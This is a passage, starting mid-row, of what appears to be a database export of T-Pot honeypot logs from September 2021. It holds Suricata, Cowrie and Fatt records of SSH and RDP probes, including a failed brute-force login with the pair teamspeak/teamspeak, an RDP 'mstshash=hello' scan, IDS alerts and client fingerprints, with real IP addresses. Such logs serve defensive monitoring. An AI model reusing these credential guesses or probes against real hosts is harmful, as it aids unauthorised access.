"192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
29559	157.245.53.4	109.199.241.180	Suricata	2021-09-20 14:26:56.902229+03	2021-09-20 14:30:04.280524+03	{"_id": "Swb1AnwBvYTbRNuEhjaw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh2_1.9.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:26:56.545561+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1217}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "157.245.53.4", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "157.245.53.4", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 854223629603609, "payload": "AAADVAUUPz4wjoMMDxxCkIvE2r89zgAAALdlY2RoLXNoYTItbmlzdHAyNTYsZWNkaC1zaGEyLW5pc3RwMzg0LGVjZGgtc2hhMi1uaXN0cDUyMSxkaWZmaWUtaGVsbG1hbi1ncm91cC1leGNoYW5nZS1zaGEyNTYsZGlmZmllLWhlbGxtYW4tZ3JvdXAtZXhjaGFuZ2Utc2hhMSxkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEAAABLZWNkc2Etc2hhMi1uaXN0cDI1NixlY2RzYS1zaGEyLW5pc3RwMzg0LGVjZHNhLXNoYTItbmlzdHA1MjEsc3NoLXJzYSxzc2gtZHNzAAAAkmFlczEyOC1jdHIsYWVzMTkyLWN0cixhZXMyNTYtY3RyLGFlczI1Ni1jYmMscmlqbmRhZWwtY2JjQGx5c2F0b3IubGl1LnNlLGFlczE5Mi1jYmMsYWVzMTI4LWNiYyxibG93ZmlzaC1jYmMsYXJjZm91cjEyOCxhcmNmb3VyLGNhc3QxMjgtY2JjLDNkZXMtY2JjAAAAkmFlczEyOC1jdHIsYWVzMTkyLWN0cixhZXMyNTYtY3RyLGFlczI1Ni1jYmMscmlqbmRhZWwtY2JjQGx5c2F0b3IubGl1LnNlLGFlczE5Mi1jYmMsYWVzMTI4LWNiYyxibG93ZmlzaC1jYmMsYXJjZm91cjEyOCxhcmNmb3VyLGNhc3QxMjgtY2JjLDNkZXMtY2JjAAAAcWhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEsaG1hYy1zaGExLTk2LGhtYWMtbWQ1LGhtYWMtbWQ1LTk2LGhtYWMtcmlwZW1kMTYwLGhtYWMtcmlwZW1kMTYwQG9wZW5zc2guY29tAAAAcWhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEsaG1hYy1zaGExLTk2LGhtYWMtbWQ1LGhtYWMtbWQ1LTk2LGhtYWMtcmlwZW1kMTYwLGhtYWMtcmlwZW1kMTYwQG9wZW5zc2guY29tAAAABG5vbmUAAAAEbm9uZQAAAAAAAAAAAAAAAAAanC/0aw==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 55310, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:26:56.902229Z", "@timestamp": "2021-09-20T11:26:56.902Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...T..?>0.....B.....=.....ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1...Kecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss....aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc....aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc...qhmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com...qhmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com....none....none.............../.k"}}	1	\N	\N	alert	\N	\N
29560	157.245.53.4	109.199.241.180	Fatt	2021-09-20 14:26:56.902229+03	2021-09-20 14:30:04.282559+03	{"_id": "TAb1AnwBvYTbRNuEhzbY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {"ip": "157.245.53.4", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "src_ip": "157.245.53.4", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss", "hassh": "1616c6d18e845e7a01168a44591f7a35", "ccacts": "none", "ccastc": "none", "ceacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "ceastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "client": "SSH-2.0-libssh2_1.9.0", "cmacts": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "cmastc": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "hasshVersion": "1.0", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}, "protocol": "ssh", "src_port": 55310, "dest_port": 22, "timestamp": "2021-09-20T11:26:56.902229", "@timestamp": "2021-09-20T11:26:56.902Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
29561	157.245.53.4	109.199.241.180	Cowrie	2021-09-20 14:26:57.700029+03	2021-09-20 14:30:04.283555+03	{"_id": "TQb1AnwBvYTbRNuEiDbi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "157.245.53.4", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "157.245.53.4", "eventid": "cowrie.login.failed", "message": "login attempt [teamspeak/teamspeak] failed", "session": "0cc03e3ca153", "@version": "1", "password": "teamspeak", "username": "teamspeak", "timestamp": "2021-09-20T11:26:57.700029Z", "@timestamp": "2021-09-20T11:26:57.700Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
29562	157.245.53.4	109.199.241.180	Cowrie	2021-09-20 14:26:58.881944+03	2021-09-20 14:30:04.284553+03	{"_id": "Tgb1AnwBvYTbRNuEjDbK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "157.245.53.4", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "157.245.53.4", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "0cc03e3ca153", "@version": "1", "duration": 2.1565709114074707, "timestamp": "2021-09-20T11:26:58.881944Z", "@timestamp": "2021-09-20T11:26:58.881Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
29608	192.168.20.103	109.199.241.180	Suricata	2021-09-20 14:27:31.929954+03	2021-09-20 14:30:04.345524+03	{"_id": "qQb2AnwBvYTbRNuEDzZ2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.103", "stream": 0, "dest_ip": "224.0.0.1", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T11:27:31.929954Z", "@timestamp": "2021-09-20T11:27:31.929Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
29563	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:27:04.649725+03	2021-09-20 14:30:04.286554+03	{"_id": "Wgb1AnwBvYTbRNuEpTby", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:27:04.285577+0000", "pkts_toclient": 3, "pkts_toserver": 3, "bytes_toclient": 193, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 0, "dest_ip": "61.133.192.126", "flow_id": 1141400175926153, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "dest_port": 56913, "timestamp": "2021-09-20T11:27:04.649725Z", "@timestamp": "2021-09-20T11:27:04.649Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
29564	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:27:04.620475+03	2021-09-20 14:30:04.287553+03	{"_id": "WQb1AnwBvYTbRNuEpTby", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:27:04.285577+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1141400175926153, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 56913, "dest_port": 3389, "timestamp": "2021-09-20T11:27:04.620475Z", "@timestamp": "2021-09-20T11:27:04.620Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
29565	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:27:04.968733+03	2021-09-20 14:30:04.289554+03	{"_id": "XQb1AnwBvYTbRNuEpTby", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:27:04.285577+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 1141400175926153, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 56913, "dest_port": 3389, "timestamp": "2021-09-20T11:27:04.968733Z", "@timestamp": "2021-09-20T11:27:04.968Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
29566	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:27:06.235624+03	2021-09-20 14:30:04.290553+03	{"_id": "Xwb1AnwBvYTbRNuEqTbb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 53893, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 17585475852392, "@version": "1", "in_iface": "enp5s0", "src_port": 49172, "dest_port": 53, "timestamp": "2021-09-20T11:27:06.235624Z", "@timestamp": "2021-09-20T11:27:06.235Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
29567	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:27:06.32519+03	2021-09-20 14:30:04.291533+03	{"_id": "YQb1AnwBvYTbRNuEqzYD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 35226, "timestamp": "2021-09-20T11:27:06.325190", "@timestamp": "2021-09-20T11:27:06.325Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
29568	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:27:06.667799+03	2021-09-20 14:30:04.292523+03	{"_id": "Ygb1AnwBvYTbRNuEqzYD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 35228, "dest_port": 443, "timestamp": "2021-09-20T11:27:06.667799", "@timestamp": "2021-09-20T11:27:06.667Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
29569	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:27:06.71065+03	2021-09-20 14:30:04.294559+03	{"_id": "Ywb1AnwBvYTbRNuEqzYD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 35228, "timestamp": "2021-09-20T11:27:06.710650", "@timestamp": "2021-09-20T11:27:06.710Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
29570	157.245.53.4	109.199.241.180	Cowrie	2021-09-20 14:26:56.722706+03	2021-09-20 14:30:04.295554+03	{"_id": "Rwb1AnwBvYTbRNuEhDb6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "157.245.53.4", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "157.245.53.4", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 157.245.53.4:55310 (192.168.176.2:22) [session: 0cc03e3ca153]", "session": "0cc03e3ca153", "@version": "1", "protocol": "ssh", "src_port": 55310, "dest_port": 22, "timestamp": "2021-09-20T11:26:56.722706Z", "@timestamp": "2021-09-20T11:26:56.722Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
29571	157.245.53.4	109.199.241.180	Cowrie	2021-09-20 14:26:56.725752+03	2021-09-20 14:30:04.296556+03	{"_id": "SAb1AnwBvYTbRNuEhDb6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "157.245.53.4", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "157.245.53.4", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh2_1.9.0'", "session": "0cc03e3ca153", "version": "b'SSH-2.0-libssh2_1.9.0'", "@version": "1", "timestamp": "2021-09-20T11:26:56.725752Z", "@timestamp": "2021-09-20T11:26:56.725Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
29572	157.245.53.4	109.199.241.180	Cowrie	2021-09-20 14:26:56.902867+03	2021-09-20 14:30:04.297553+03	{"_id": "SQb1AnwBvYTbRNuEhDb6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "encCS": ["aes128-ctr", "aes192-ctr", "aes256-ctr", "aes256-cbc", "rijndael-cbc@lysator.liu.se", "aes192-cbc", "aes128-cbc", "blowfish-cbc", "arcfour128", "arcfour", "cast128-cbc", "3des-cbc"], "geoip": {"ip": "157.245.53.4", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "hassh": "1616c6d18e845e7a01168a44591f7a35", "macCS": ["hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-sha1-96", "hmac-md5", "hmac-md5-96", "hmac-ripemd160", "hmac-ripemd160@openssh.com"], "compCS": ["none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "157.245.53.4", "eventid": "cowrie.client.kex", "kexAlgs": ["ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ecdsa-sha2-nistp256", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp521", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35", "session": "0cc03e3ca153", "@version": "1", "timestamp": "2021-09-20T11:26:56.902867Z", "@timestamp": "2021-09-20T11:26:56.902Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}}	1	\N	cowrie.client.kex	\N	\N	\N
29573	157.245.53.4	109.199.241.180	Suricata	2021-09-20 14:26:56.902061+03	2021-09-20 14:30:04.298555+03	{"_id": "Sgb1AnwBvYTbRNuEhjaw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh2_1.9.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {"ip": "157.245.53.4", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "157.245.53.4", "dest_ip": "192.168.20.116", "flow_id": 854223629603609, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 55310, "dest_port": 22, "timestamp": "2021-09-20T11:26:56.902061Z", "@timestamp": "2021-09-20T11:26:56.902Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
29574	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:26:56.727874+03	2021-09-20 14:30:04.300524+03	{"_id": "QQb1AnwBvYTbRNuEgzbu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "157.245.53.4", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 55310, "timestamp": "2021-09-20T11:26:56.727874", "@timestamp": "2021-09-20T11:26:56.727Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
